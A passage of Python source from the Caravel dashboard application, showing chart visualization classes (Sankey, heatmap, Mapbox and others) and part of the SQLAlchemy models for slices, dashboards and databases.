        d = super(DistributionPieViz, self).query_obj()  # noqa
        fd = self.form_data
        d['is_timeseries'] = False
        gb = fd.get('groupby') or []
        cols = fd.get('columns') or []
        d['groupby'] = set(gb + cols)
        if len(d['groupby']) < len(gb) + len(cols):
            raise Exception("Can't have overlap between Series and Breakdowns")
        if not self.metrics:
            raise Exception("Pick at least one metric")
        if not self.groupby:
            raise Exception("Pick at least one field for [Series]")
        return d

    def get_df(self, query_obj=None):
        df = super(DistributionPieViz, self).get_df(query_obj)  # noqa
        fd = self.form_data

        row = df.groupby(self.groupby).sum()[self.metrics[0]].copy()
        row.sort_values(ascending=False, inplace=True)
        columns = fd.get('columns') or []
        pt = df.pivot_table(
            index=self.groupby,
            columns=columns,
            values=self.metrics)
        if fd.get("contribution"):
            pt = pt.fillna(0)
            pt = pt.T
            pt = (pt / pt.sum()).T
        pt = pt.reindex(row.index)
        return pt

    def get_data(self):
        df = self.get_df()
        chart_data = []
        for name, ys in df.iteritems():
            if df[name].dtype.kind not in "biufc":
                continue
            if isinstance(name, string_types):
                series_title = name
            elif len(self.metrics) > 1:
                series_title = ", ".join(name)
            else:
                l = [str(s) for s in name[1:]]
                series_title = ", ".join(l)
            d = {
                "key": series_title,
                "values": [
                    {'x': i, 'y': v}
                    for i, v in ys.iteritems()]
            }
            chart_data.append(d)
        return chart_data


class SunburstViz(BaseViz):

    """A multi level sunburst chart"""

    viz_type = "sunburst"
    verbose_name = _("Sunburst")
    is_timeseries = False
    credits = (
        'Kerry Rodden '
        '@<a href="https://bl.ocks.org/kerryrodden/7090426">bl.ocks.org</a>')
    fieldsets = ({
        'label': None,
        'fields': (
            'groupby',
            'metric', 'secondary_metric',
            'row_limit',
        )
    },)
    form_overrides = {
        'metric': {
            'label': _('Primary Metric'),
            'description': _(
                "The primary metric is used to "
                "define the arc segment sizes"),
        },
        'secondary_metric': {
            'label': _('Secondary Metric'),
            'description': _(
                "This secondary metric is used to "
                "define the color as a ratio against the primary metric. "
                "If the two metrics match, color is mapped level groups"),
        },
        'groupby': {
            'label': _('Hierarchy'),
            'description': _("This defines the level of the hierarchy"),
        },
    }

    def get_df(self, query_obj=None):
        df = super(SunburstViz, self).get_df(query_obj)
        return df

    def get_data(self):
        df = self.get_df()

        # if m1 == m2 duplicate the metric column
        cols = self.form_data.get('groupby')
        metric = self.form_data.get('metric')
        secondary_metric = self.form_data.get('secondary_metric')
        if metric == secondary_metric:
            ndf = df
            ndf.columns = [cols + ['m1', 'm2']]
        else:
            cols += [
                self.form_data['metric'], self.form_data['secondary_metric']]
            ndf = df[cols]
        return json.loads(ndf.to_json(orient="values"))  # TODO fix this nonsense

    def query_obj(self):
        qry = super(SunburstViz, self).query_obj()
        qry['metrics'] = [
            self.form_data['metric'], self.form_data['secondary_metric']]
        return qry


class SankeyViz(BaseViz):

    """A Sankey diagram that requires a parent-child dataset"""

    viz_type = "sankey"
    verbose_name = _("Sankey")
    is_timeseries = False
    credits = '<a href="https://www.npmjs.com/package/d3-sankey">d3-sankey on npm</a>'
    fieldsets = ({
        'label': None,
        'fields': (
            'groupby',
            'metric',
            'row_limit',
        )
    },)
    form_overrides = {
        'groupby': {
            'label': _('Source / Target'),
            'description': _("Choose a source and a target"),
        },
    }

    def query_obj(self):
        qry = super(SankeyViz, self).query_obj()
        if len(qry['groupby']) != 2:
            raise Exception("Pick exactly 2 columns as [Source / Target]")
        qry['metrics'] = [
            self.form_data['metric']]
        return qry

    def get_data(self):
        df = self.get_df()
        df.columns = ['source', 'target', 'value']
        recs = df.to_dict(orient='records')

        hierarchy = defaultdict(set)
        for row in recs:
            hierarchy[row['source']].add(row['target'])

        def find_cycle(g):
            """Whether there's a cycle in a directed graph"""
            path = set()

            def visit(vertex):
                path.add(vertex)
                for neighbour in g.get(vertex, ()):
                    if neighbour in path or visit(neighbour):
                        return (vertex, neighbour)
                path.remove(vertex)

            for v in g:
                cycle = visit(v)
                if cycle:
                    return cycle

        cycle = find_cycle(hierarchy)
        if cycle:
            raise Exception(
                "There's a loop in your Sankey, please provide a tree. "
                "Here's a faulty link: {}".format(cycle))
        return recs


class DirectedForceViz(BaseViz):

    """An animated directed force layout graph visualization"""

    viz_type = "directed_force"
    verbose_name = _("Directed Force Layout")
    credits = 'd3noob @<a href="http://bl.ocks.org/d3noob/5141278">bl.ocks.org</a>'
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'groupby',
            'metric',
            'row_limit',
        )
    }, {
        'label': _('Force Layout'),
        'fields': (
            'link_length',
            'charge',
        )
    },)
    form_overrides = {
        'groupby': {
            'label': _('Source / Target'),
            'description': _("Choose a source and a target"),
        },
    }

    def query_obj(self):
        qry = super(DirectedForceViz, self).query_obj()
        if len(self.form_data['groupby']) != 2:
            raise Exception("Pick exactly 2 columns to 'Group By'")
        qry['metrics'] = [self.form_data['metric']]
        return qry

    def get_data(self):
        df = self.get_df()
        df.columns = ['source', 'target', 'value']
        return df.to_dict(orient='records')


class WorldMapViz(BaseViz):

    """A country centric world map"""

    viz_type = "world_map"
    verbose_name = _("World Map")
    is_timeseries = False
    credits = 'datamaps on <a href="https://www.npmjs.com/package/datamaps">npm</a>'
    fieldsets = ({
        'label': None,
        'fields': (
            'entity',
            'country_fieldtype',
            'metric',
        )
    }, {
        'label': _('Bubbles'),
        'fields': (
            ('show_bubbles', None),
            'secondary_metric',
            'max_bubble_size',
        )
    })
    form_overrides = {
        'entity': {
            'label': _('Country Field'),
            'description': _("3 letter code of the country"),
        },
        'metric': {
            'label': _('Metric for color'),
            'description': _("Metric that defines the color of the country"),
        },
        'secondary_metric': {
            'label': _('Bubble size'),
            'description': _("Metric that defines the size of the bubble"),
        },
    }

    def query_obj(self):
        qry = super(WorldMapViz, self).query_obj()
        qry['metrics'] = [
            self.form_data['metric'], self.form_data['secondary_metric']]
        qry['groupby'] = [self.form_data['entity']]
        return qry

    def get_data(self):
        from caravel.data import countries
        df = self.get_df()
        cols = [self.form_data.get('entity')]
        metric = self.form_data.get('metric')
        secondary_metric = self.form_data.get('secondary_metric')
        if metric == secondary_metric:
            ndf = df[cols]
            # df[metric] will be a DataFrame
            # because there are duplicate column names
            ndf['m1'] = df[metric].iloc[:, 0]
            ndf['m2'] = ndf['m1']
        else:
            cols += [metric, secondary_metric]
            ndf = df[cols]
        df = ndf
        df.columns = ['country', 'm1', 'm2']
        d = df.to_dict(orient='records')
        for row in d:
            country = None
            if isinstance(row['country'], string_types):
                country = countries.get(
                    self.form_data.get('country_fieldtype'), row['country'])

            if country:
                row['country'] = country['cca3']
                row['latitude'] = country['lat']
                row['longitude'] = country['lng']
                row['name'] = country['name']
            else:
                row['country'] = "XXX"
        return d


class FilterBoxViz(BaseViz):

    """A multi filter, multi-choice filter box to make dashboards interactive"""

    viz_type = "filter_box"
    verbose_name = _("Filters")
    is_timeseries = False
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    fieldsets = ({
        'label': None,
        'fields': (
            'groupby',
            'metric',
        )
    },)
    form_overrides = {
        'groupby': {
            'label': _('Filter fields'),
            'description': _("The fields you want to filter on"),
        },
    }

    def query_obj(self):
        qry = super(FilterBoxViz, self).query_obj()
        groupby = self.form_data['groupby']
        if len(groupby) < 1:
            raise Exception("Pick at least one filter field")
        qry['metrics'] = [
            self.form_data['metric']]
        return qry

    def get_data(self):
        qry = self.query_obj()
        filters = [g for g in qry['groupby']]
        d = {}
        for flt in filters:
            qry['groupby'] = [flt]
            df = super(FilterBoxViz, self).get_df(qry)
            d[flt] = [{
                'id': row[0],
                'text': row[0],
                'filter': flt,
                'metric': row[1]}
                for row in df.itertuples(index=False)
            ]
        return d


class IFrameViz(BaseViz):

    """You can squeeze just about anything in this iFrame component"""

    viz_type = "iframe"
    verbose_name = _("iFrame")
    credits = 'a <a href="https://github.com/airbnb/caravel">Caravel</a> original'
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': ('url',)
    },)


class ParallelCoordinatesViz(BaseViz):

    """Interactive parallel coordinate implementation

    Uses this amazing javascript library
    https://github.com/syntagmatic/parallel-coordinates
    """

    viz_type = "para"
    verbose_name = _("Parallel Coordinates")
    credits = (
        '<a href="https://syntagmatic.github.io/parallel-coordinates/">'
        'Syntagmatic\'s library</a>')
    is_timeseries = False
    fieldsets = ({
        'label': None,
        'fields': (
            'series',
            'metrics',
            'secondary_metric',
            'limit',
            ('show_datatable', 'include_series'),
        )
    },)

    def query_obj(self):
        d = super(ParallelCoordinatesViz, self).query_obj()
        fd = self.form_data
        d['metrics'] = copy.copy(fd.get('metrics'))
        second = fd.get('secondary_metric')
        if second not in d['metrics']:
            d['metrics'] += [second]
        d['groupby'] = [fd.get('series')]
        return d

    def get_data(self):
        df = self.get_df()
        return df.to_dict(orient="records")


class HeatmapViz(BaseViz):

    """A nice heatmap visualization that support high density through canvas"""

    viz_type = "heatmap"
    verbose_name = _("Heatmap")
    is_timeseries = False
    credits = (
        'inspired from mbostock @<a href="http://bl.ocks.org/mbostock/3074470">'
        'bl.ocks.org</a>')
    fieldsets = ({
        'label': None,
        'fields': (
            'all_columns_x',
            'all_columns_y',
            'metric',
        )
    }, {
        'label': _('Heatmap Options'),
        'fields': (
            'linear_color_scheme',
            ('xscale_interval', 'yscale_interval'),
            'canvas_image_rendering',
            'normalize_across',
        )
    },)

    def query_obj(self):
        d = super(HeatmapViz, self).query_obj()
        fd = self.form_data
        d['metrics'] = [fd.get('metric')]
        d['groupby'] = [fd.get('all_columns_x'), fd.get('all_columns_y')]
        return d

    def get_data(self):
        df = self.get_df()
        fd = self.form_data
        x = fd.get('all_columns_x')
        y = fd.get('all_columns_y')
        v = fd.get('metric')
        if x == y:
            df.columns = ['x', 'y', 'v']
        else:
            df = df[[x, y, v]]
            df.columns = ['x', 'y', 'v']
        norm = fd.get('normalize_across')
        overall = False
        if norm == 'heatmap':
            overall = True
        else:
            gb = df.groupby(norm, group_keys=False)
            if len(gb) <= 1:
                overall = True
            else:
                df['perc'] = (
                    gb.apply(
                        lambda x: (x.v - x.v.min()) / (x.v.max() - x.v.min()))
                )
        if overall:
            v = df.v
            min_ = v.min()
            df['perc'] = (v - min_) / (v.max() - min_)
        return df.to_dict(orient="records")


class HorizonViz(NVD3TimeSeriesViz):

    """Horizon chart

    https://www.npmjs.com/package/d3-horizon-chart
    """

    viz_type = "horizon"
    verbose_name = _("Horizon Charts")
    credits = (
        '<a href="https://www.npmjs.com/package/d3-horizon-chart">'
        'd3-horizon-chart</a>')
    fieldsets = [NVD3TimeSeriesViz.fieldsets[0]] + [{
        'label': _('Chart Options'),
        'fields': (
            ('series_height', 'horizon_color_scale'),
        ), }]


class MapboxViz(BaseViz):

    """Rich maps made with Mapbox"""

    viz_type = "mapbox"
    verbose_name = _("Mapbox")
    is_timeseries = False
    credits = (
        '<a href=https://www.mapbox.com/mapbox-gl-js/api/>Mapbox GL JS</a>')
    fieldsets = ({
        'label': None,
        'fields': (
            ('all_columns_x', 'all_columns_y'),
            'clustering_radius',
            'row_limit',
            'groupby',
            'render_while_dragging',
        )
    }, {
        'label': _('Points'),
        'fields': (
            'point_radius',
            'point_radius_unit',
        )
    }, {
        'label': _('Labelling'),
        'fields': (
            'mapbox_label',
            'pandas_aggfunc',
        )
    }, {
        'label': _('Visual Tweaks'),
        'fields': (
            'mapbox_style',
            'global_opacity',
            'mapbox_color',
        )
    }, {
        'label': _('Viewport'),
        'fields': (
            'viewport_longitude',
            'viewport_latitude',
            'viewport_zoom',
        )
    },)

    form_overrides = {
        'all_columns_x': {
            'label': _('Longitude'),
            'description': _("Column containing longitude data"),
        },
        'all_columns_y': {
            'label': _('Latitude'),
            'description': _("Column containing latitude data"),
        },
        'pandas_aggfunc': {
            'label': _('Cluster label aggregator'),
            'description': _(
                "Aggregate function applied to the list of points "
                "in each cluster to produce the cluster label."),
        },
        'rich_tooltip': {
            'label': _('Tooltip'),
            'description': _(
                "Show a tooltip when hovering over points and clusters "
                "describing the label"),
        },
        'groupby': {
            'description': _(
                "One or many fields to group by. If grouping, latitude "
                "and longitude columns must be present."),
        },
    }

    def query_obj(self):
        d = super(MapboxViz, self).query_obj()
        fd = self.form_data
        label_col = fd.get('mapbox_label')

        if not fd.get('groupby'):
            d['columns'] = [fd.get('all_columns_x'), fd.get('all_columns_y')]

            if label_col and len(label_col) >= 1:
                if label_col[0] == "count":
                    raise Exception(
                        "Must have a [Group By] column to have 'count' as the [Label]")
                d['columns'].append(label_col[0])

            if fd.get('point_radius') != 'Auto':
                d['columns'].append(fd.get('point_radius'))

            d['columns'] = list(set(d['columns']))
        else:
            # Ensuring columns chosen are all in group by
            if (label_col and len(label_col) >= 1 and
                    label_col[0] != "count" and
                    label_col[0] not in fd.get('groupby')):
                raise Exception(
                    "Choice of [Label] must be present in [Group By]")

            if (fd.get("point_radius") != "Auto" and
                    fd.get("point_radius") not in fd.get('groupby')):
                raise Exception(
                    "Choice of [Point Radius] must be present in [Group By]")

            if (fd.get('all_columns_x') not in fd.get('groupby') or
                    fd.get('all_columns_y') not in fd.get('groupby')):
                raise Exception(
                    "[Longitude] and [Latitude] columns must be present in [Group By]")
        return d

    def get_data(self):
        df = self.get_df()
        fd = self.form_data
        label_col = fd.get('mapbox_label')
        custom_metric = label_col and len(label_col) >= 1
        metric_col = [None] * len(df.index)
        if custom_metric:
            if label_col[0] == fd.get('all_columns_x'):
                metric_col = df[fd.get('all_columns_x')]
            elif label_col[0] == fd.get('all_columns_y'):
                metric_col = df[fd.get('all_columns_y')]
            else:
                metric_col = df[label_col[0]]
        point_radius_col = (
            [None] * len(df.index)
            if fd.get("point_radius") == "Auto"
            else df[fd.get("point_radius")])

        # using geoJSON formatting
        geo_json = {
            "type": "FeatureCollection",
            "features": [
                {
                    "type": "Feature",
                    "properties": {
                        "metric": metric,
                        "radius": point_radius,
                    },
                    "geometry": {
                        "type": "Point",
                        "coordinates": [lon, lat],
                    }
                }
                for lon, lat, metric, point_radius
                in zip(
                    df[fd.get('all_columns_x')],
                    df[fd.get('all_columns_y')],
                    metric_col, point_radius_col)
            ]
        }

        return {
            "geoJSON": geo_json,
            "customMetric": custom_metric,
            "mapboxApiKey": config.get('MAPBOX_API_KEY'),
            "mapStyle": fd.get("mapbox_style"),
            "aggregatorName": fd.get("pandas_aggfunc"),
            "clusteringRadius": fd.get("clustering_radius"),
            "pointRadiusUnit": fd.get("point_radius_unit"),
            "globalOpacity": fd.get("global_opacity"),
            "viewportLongitude": fd.get("viewport_longitude"),
            "viewportLatitude": fd.get("viewport_latitude"),
            "viewportZoom": fd.get("viewport_zoom"),
            "renderWhileDragging": fd.get("render_while_dragging"),
            "tooltip": fd.get("rich_tooltip"),
            "color": fd.get("mapbox_color"),
        }


viz_types_list = [
    TableViz,
    PivotTableViz,
    NVD3TimeSeriesViz,
    NVD3CompareTimeSeriesViz,
    NVD3TimeSeriesStackedViz,
    NVD3TimeSeriesBarViz,
    DistributionBarViz,
    DistributionPieViz,
    BubbleViz,
    MarkupViz,
    WordCloudViz,
    BigNumberViz,
    BigNumberTotalViz,
    SunburstViz,
    DirectedForceViz,
    SankeyViz,
    WorldMapViz,
    FilterBoxViz,
    IFrameViz,
    ParallelCoordinatesViz,
    HeatmapViz,
    BoxPlotViz,
    TreemapViz,
    CalHeatmapViz,
    HorizonViz,
    MapboxViz,
    HistogramViz,
    SeparatorViz,
]

viz_types = OrderedDict([(v.viz_type, v) for v in viz_types_list
                         if v.viz_type not in config.get('VIZ_TYPE_BLACKLIST')])






"""A collection of ORM sqlalchemy models for Caravel"""
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import functools
import json
import logging
import textwrap
from collections import namedtuple
from copy import deepcopy, copy
from datetime import timedelta, datetime, date

import humanize
import pandas as pd
import requests
import sqlalchemy as sqla
import sqlparse
from dateutil.parser import parse

from flask import request, g
from flask_appbuilder import Model
from flask_appbuilder.models.mixins import AuditMixin
from flask_appbuilder.models.decorators import renders
from flask_babel import lazy_gettext as _

from pydruid.client import PyDruid
from pydruid.utils.filters import Dimension, Filter
from pydruid.utils.postaggregator import Postaggregator
from pydruid.utils.having import Aggregation
from six import string_types
from sqlalchemy import (
    Column, Integer, String, ForeignKey, Text, Boolean, DateTime, Date,
    Table, create_engine, MetaData, desc, asc, select, and_, func)
from sqlalchemy.engine import reflection
from sqlalchemy.ext.declarative import declared_attr
from sqlalchemy.orm import relationship
from sqlalchemy.sql import table, literal_column, text, column
from sqlalchemy_utils import EncryptedType

import caravel
from caravel import app, db, get_session, utils, sm
from caravel.viz import viz_types
from caravel.utils import flasher, MetricPermException, DimSelector

config = app.config

QueryResult = namedtuple('namedtuple', ['df', 'query', 'duration'])


class JavascriptPostAggregator(Postaggregator):
    def __init__(self, name, field_names, function):
        self.post_aggregator = {
            'type': 'javascript',
            'fieldNames': field_names,
            'name': name,
            'function': function,
        }
        self.name = name


class AuditMixinNullable(AuditMixin):

    """Altering the AuditMixin to use nullable fields

    Allows creating objects programmatically outside of CRUD
    """

    created_on = Column(DateTime, default=datetime.now, nullable=True)
    changed_on = Column(
        DateTime, default=datetime.now,
        onupdate=datetime.now, nullable=True)

    @declared_attr
    def created_by_fk(cls):  # noqa
        return Column(Integer, ForeignKey('ab_user.id'),
                      default=cls.get_user_id, nullable=True)

    @declared_attr
    def changed_by_fk(cls):  # noqa
        return Column(
            Integer, ForeignKey('ab_user.id'),
            default=cls.get_user_id, onupdate=cls.get_user_id, nullable=True)

    @renders('created_on')
    def creator(self):  # noqa
        return '{}'.format(self.created_by or '')

    @property
    def changed_by_(self):
        return '{}'.format(self.changed_by or '')

    @renders('changed_on')
    def changed_on_(self):
        return '<span class="no-wrap">{}</span>'.format(self.changed_on)

    @renders('changed_on')
    def modified(self):
        s = humanize.naturaltime(datetime.now() - self.changed_on)
        return '<span class="no-wrap">{}</nobr>'.format(s)

    @property
    def icons(self):
        return """
        <a
                href="{self.datasource_edit_url}"
                data-toggle="tooltip"
                title="{self.datasource}">
            <i class="fa fa-database"></i>
        </a>
        """.format(**locals())


class Url(Model, AuditMixinNullable):

    """Used for the short url feature"""

    __tablename__ = 'url'
    id = Column(Integer, primary_key=True)
    url = Column(Text)


class CssTemplate(Model, AuditMixinNullable):

    """CSS templates for dashboards"""

    __tablename__ = 'css_templates'
    id = Column(Integer, primary_key=True)
    template_name = Column(String(250))
    css = Column(Text, default='')


slice_user = Table('slice_user', Model.metadata,
    Column('id', Integer, primary_key=True),
    Column('user_id', Integer, ForeignKey('ab_user.id')),
    Column('slice_id', Integer, ForeignKey('slices.id'))
)


class Slice(Model, AuditMixinNullable):

    """A slice is essentially a report or a view on data"""

    __tablename__ = 'slices'
    id = Column(Integer, primary_key=True)
    slice_name = Column(String(250))
    druid_datasource_id = Column(Integer, ForeignKey('datasources.id'))
    table_id = Column(Integer, ForeignKey('tables.id'))
    datasource_type = Column(String(200))
    datasource_name = Column(String(2000))
    viz_type = Column(String(250))
    params = Column(Text)
    description = Column(Text)
    cache_timeout = Column(Integer)
    perm = Column(String(2000))

    table = relationship(
        'SqlaTable', foreign_keys=[table_id], backref='slices')
    druid_datasource = relationship(
        'DruidDatasource', foreign_keys=[druid_datasource_id], backref='slices')
    owners = relationship("User", secondary=slice_user)

    def __repr__(self):
        return self.slice_name

    @property
    def datasource(self):
        return self.table or self.druid_datasource

    @renders('datasource_name')
    def datasource_link(self):
        if self.table:
            return self.table.link
        elif self.druid_datasource:
            return self.druid_datasource.link

    @property
    def datasource_edit_url(self):
        if self.table:
            return self.table.url
        elif self.druid_datasource:
            return self.druid_datasource.url

    @property
    @utils.memoized
    def viz(self):
        d = json.loads(self.params)
        viz_class = viz_types[self.viz_type]
        return viz_class(self.datasource, form_data=d)

    @property
    def description_markeddown(self):
        return utils.markdown(self.description)

    @property
    def datasource_id(self):
        return self.table_id or self.druid_datasource_id

    @property
    def data(self):
        """Data used to render slice in templates"""
        d = {}
        self.token = ''
        try:
            d = self.viz.data
            self.token = d.get('token')
        except Exception as e:
            d['error'] = str(e)
        d['slice_id'] = self.id
        d['slice_name'] = self.slice_name
        d['description'] = self.description
        d['slice_url'] = self.slice_url
        d['edit_url'] = self.edit_url
        d['description_markeddown'] = self.description_markeddown
        return d

    @property
    def json_data(self):
        return json.dumps(self.data)

    @property
    def slice_url(self):
        """Defines the url to access the slice"""
        try:
            slice_params = json.loads(self.params)
        except Exception as e:
            logging.exception(e)
            slice_params = {}
        slice_params['slice_id'] = self.id
        slice_params['json'] = "false"
        slice_params['slice_name'] = self.slice_name
        from werkzeug.urls import Href
        href = Href(
            "/caravel/explore/{obj.datasource_type}/"
            "{obj.datasource_id}/".format(obj=self))
        return href(slice_params)

    @property
    def edit_url(self):
        return "/slicemodelview/edit/{}".format(self.id)

    @property
    def slice_link(self):
        url = self.slice_url
        return '<a href="{url}">{obj.slice_name}</a>'.format(
            url=url, obj=self)


def set_perm(mapper, connection, target):  # noqa
    if target.table_id:
        src_class = SqlaTable
        id_ = target.table_id
    elif target.druid_datasource_id:
        src_class = DruidDatasource
        id_ = target.druid_datasource_id
    ds = db.session.query(src_class).filter_by(id=int(id_)).first()
    target.perm = ds.perm

sqla.event.listen(Slice, 'before_insert', set_perm)
sqla.event.listen(Slice, 'before_update', set_perm)


dashboard_slices = Table(
    'dashboard_slices', Model.metadata,
    Column('id', Integer, primary_key=True),
    Column('dashboard_id', Integer, ForeignKey('dashboards.id')),
    Column('slice_id', Integer, ForeignKey('slices.id')),
)

dashboard_user = Table(
    'dashboard_user', Model.metadata,
    Column('id', Integer, primary_key=True),
    Column('user_id', Integer, ForeignKey('ab_user.id')),
    Column('dashboard_id', Integer, ForeignKey('dashboards.id'))
)


class Dashboard(Model, AuditMixinNullable):

    """The dashboard object!"""

    __tablename__ = 'dashboards'
    id = Column(Integer, primary_key=True)
    dashboard_title = Column(String(500))
    position_json = Column(Text)
    description = Column(Text)
    css = Column(Text)
    json_metadata = Column(Text)
    slug = Column(String(255), unique=True)
    slices = relationship(
        'Slice', secondary=dashboard_slices, backref='dashboards')
    owners = relationship("User", secondary=dashboard_user)

    def __repr__(self):
        return self.dashboard_title

    @property
    def table_names(self):
        return ", ".join({"{}".format(s.datasource) for s in self.slices})

    @property
    def url(self):
        return "/caravel/dashboard/{}/".format(self.slug or self.id)

    @property
    def metadata_dejson(self):
        if self.json_metadata:
            return json.loads(self.json_metadata)
        else:
            return {}

    def dashboard_link(self):
        return '<a href="{obj.url}">{obj.dashboard_title}</a>'.format(obj=self)

    @property
    def json_data(self):
        d = {
            'id': self.id,
            'metadata': self.metadata_dejson,
            'dashboard_title': self.dashboard_title,
            'slug': self.slug,
            'slices': [slc.data for slc in self.slices],
            'position_json': json.loads(self.position_json) if self.position_json else [],
        }
        return json.dumps(d)


class Queryable(object):

    """A common interface to objects that are queryable (tables and datasources)"""

    @property
    def column_names(self):
        return sorted([c.column_name for c in self.columns])

    @property
    def main_dttm_col(self):
        return "timestamp"

    @property
    def groupby_column_names(self):
        return sorted([c.column_name for c in self.columns if c.groupby])

    @property
    def filterable_column_names(self):
        return sorted([c.column_name for c in self.columns if c.filterable])

    @property
    def dttm_cols(self):
        return []

    @property
    def url(self):
        return '/{}/edit/{}'.format(self.baselink, self.id)

    @property
    def explore_url(self):
        if self.default_endpoint:
            return self.default_endpoint
        else:
            return "/caravel/explore/{obj.type}/{obj.id}/".format(obj=self)


class Database(Model, AuditMixinNullable):

    """An ORM object that stores Database related information"""

    __tablename__ = 'dbs'
    id = Column(Integer, primary_key=True)
    database_name = Column(String(250), unique=True)
    sqlalchemy_uri = Column(String(1024))
    password = Column(EncryptedType(String(1024), config.get('SECRET_KEY')))
    cache_timeout = Column(Integer)
    extra = Column(Text, default=textwrap.dedent("""\
    {
        "metadata_params": {},
        "engine_params": {}
    }
    """))

    def __repr__(self):
        return self.database_name

    def get_sqla_engine(self):
        extra = self.get_extra()
        params = extra.get('engine_params', {})
        return create_engine(self.sqlalchemy_uri_decrypted, **params)

    def safe_sqlalchemy_uri(self):
        return self.sqlalchemy_uri

    def grains(self):
        """Defines time granularity database-specific expressions.

        The idea here is to make it easy for users to change the time grain
        form a datetime (maybe the source grain is arbitrary timestamps, daily
        or 5 minutes increments) to another, "truncated" datetime. Since
        each database has slightly different but similar datetime functions,
        this allows a mapping between database engines and actual functions.
        """
        Grain = namedtuple('Grain', 'name label function')
        db_time_grains = {
            'presto': (
                Grain('Time Column', _('Time Column'), '{col}'),
                Grain('second', _('second'),
                      "date_trunc('second', CAST({col} AS TIMESTAMP))"),
                Grain('minute', _('minute'),
                      "date_trunc('minute', CAST({col} AS TIMESTAMP))"),
                Grain('hour', _('hour'),
                      "date_trunc('hour', CAST({col} AS TIMESTAMP))"),
                Grain('day', _('day'),
                      "date_trunc('day', CAST({col} AS TIMESTAMP))"),
                Grain('week', _('week'),
                      "date_trunc('week', CAST({col} AS TIMESTAMP))"),
                Grain('month', _('month'),
                      "date_trunc('month', CAST({col} AS TIMESTAMP))"),
                Grain('quarter', _('quarter'),
                      "date_trunc('quarter', CAST({col} AS TIMESTAMP))"),
                Grain("week_ending_saturday", _('week_ending_saturday'),
                      "date_add('day', 5, date_trunc('week', date_add('day', 1, "
                      "CAST({col} AS TIMESTAMP))))"),
                Grain("week_start_sunday", _('week_start_sunday'),
                      "date_add('day', -1, date_trunc('week', "
                      "date_add('day', 1, CAST({col} AS TIMESTAMP))))"),
            ),
            'mysql': (
                Grain('Time Column', _('Time Column'), '{col}'),
                Grain("second", _('second'), "DATE_ADD(DATE({col}), "
                      "INTERVAL (HOUR({col})*60*60 + MINUTE({col})*60"
                      " + SECOND({col})) SECOND)"),
                Grain("minute", _('minute'), "DATE_ADD(DATE({col}), "
                      "INTERVAL (HOUR({col})*60 + MINUTE({col})) MINUTE)"),
                Grain("hour", _('hour'), "DATE_ADD(DATE({col}), "
                      "INTERVAL HOUR({col}) HOUR)"),
                Grain('day', _('day'), 'DATE({col})'),
                Grain("week", _('week'), "DATE(DATE_SUB({col}, "
                      "INTERVAL DAYOFWEEK({col}) - 1 DAY))"),
                Grain("month", _('month'), "DATE(DATE_SUB({col}, "
                      "INTERVAL DAYOFMONTH({col}) - 1 DAY))"),
            ),
            'sqlite': (
                Grain('Time Column', _('Time Column'), '{col}'),
                Grain('day', _('day'), 'DATE({col})'),
                Grain("week", _('week'),
                      "DATE({col}, -strftime('%w', {col}) || ' days')"),
                Grain("month", _('month'),
                      "DATE({col}, -strftime('%d', {col}) || ' days')"),
            ),
            'postgresql': (
                Grain("Time Column", _('Time Column'), "{col}"),
                Grain("second", _('second'), "DATE_TRUNC('second', {col})"),
                Grain("minute", _('minute'), "DATE_TRUNC('minute', {col})"),
                Grain("hour", _('hour'), "DATE_TRUNC('hour', {col})"),
                Grain("day", _('day'), "DATE_TRUNC('day', {col})"),
                Grain("week", _('week'), "DATE_TRUNC('week', {col})"),
                Grain("month", _('month'), "DATE_TRUNC('month', {col})"),
                Grain("year", _('year'), "DATE_TRUNC('year', {col})"),
            ),
            'mssql': (
                Grain("Time Column", _('Time Column'), "{col}"),
                Grain("second", _('second'), "DATEADD(second, "
                      "DATEDIFF(second, '2000-01-01', {col}), '2000-01-01')"),
                Grain("minute", _('minute'), "DATEADD(minute, "
                      "DATEDIFF(minute, 0, {col}), 0)"),
                Grain("5 minute", _('5 minute'), "DATEADD(minute, "
                      "DATEDIFF(minute, 0, {col}) / 5 * 5, 0)"),
                Grain("half hour", _('half hour'), "DATEADD(minute, "
                      "DATEDIFF(minute, 0, {col}) / 30 * 30, 0)"),
                Grain("hour", _('hour'), "DATEADD(hour, "
                      "DATEDIFF(hour, 0, {col}), 0)"),
                Grain("day", _('day'), "DATEADD(day, "
                      "DATEDIFF(day, 0, {col}), 0)"),
                Grain("week", _('week'), "DATEADD(week, "
                      "DATEDIFF(week, 0, {col}), 0)"),
                Grain("month", _('month'), "DATEADD(month, "
                      "DATEDIFF(month, 0, {col}), 0)"),
                Grain("quarter", _('quarter'), "DATEADD(quarter, "
                      "DATEDIFF(quarter, 0, {col}), 0)"),
                Grain("year", _('year'), "DATEADD(year, "
                      "DATEDIFF(year, 0, {col}), 0)"),
            ),
        }
        db_time_grains['redshift'] = db_time_grains['postgresql']
        db_time_grains['vertica'] = db_time_grains['postgresql']
        for db_type, grains in db_time_grains.items():
            if self.sqlalchemy_uri.startswith(db_type):
                return grains

    def grains_dict(self):
        return {grain.name: grain for grain in self.grains()}

    def get_extra(self):
        extra = {}
        if self.extra:
            try:
                extra = json.loads(self.extra)
            except Exception as e:
                logging.error(e)
        return extra

    def get_table(self, table_name, schema=None):
        extra = self.get_extra()
        meta = MetaData(**extra.get('metadata_params', {}))
        return Table(
            table_name, meta,
            schema=schema or None,
            autoload=True,
            autoload_with=self.get_sqla_engine())

    def get_columns(self, table_name):
        engine = self.get_sqla_engine()
        insp = reflection.Inspector.from_engine(engine)
        return insp.get_columns(table_name)

    @property
    def sqlalchemy_uri_decrypted(self):
        conn = sqla.engine.url.make_url(self.sqlalchemy_uri)
        conn.password = self.password
        return str(conn)

    @property
    def sql_url(self):
        return '/caravel/sql/{}/'.format(self.id)

    @property
    def sql_link(self):
        return '<a href="{}">SQL</a>'.format(self.sql_url)

    @property
    def perm(self):
        return (
            "[{obj.database_name}].(id:{obj.id})").format(obj=self)


class SqlaTable(Model, Queryable, AuditMixinNullable):

    """An ORM object for SqlAlchemy table references"""

    type = "table"

    __tablename__ = 'tables'
    id = Column(Integer, primary_key=True)
    table_name = Column(String(250))
    main_dttm_col = Column(String(250))
    description = Column(Text)
    default_endpoint = Column(Text)
    database_id = Column(Integer, ForeignKey('dbs.id'), nullable=False)
    is_featured = Column(Boolean, default=False)
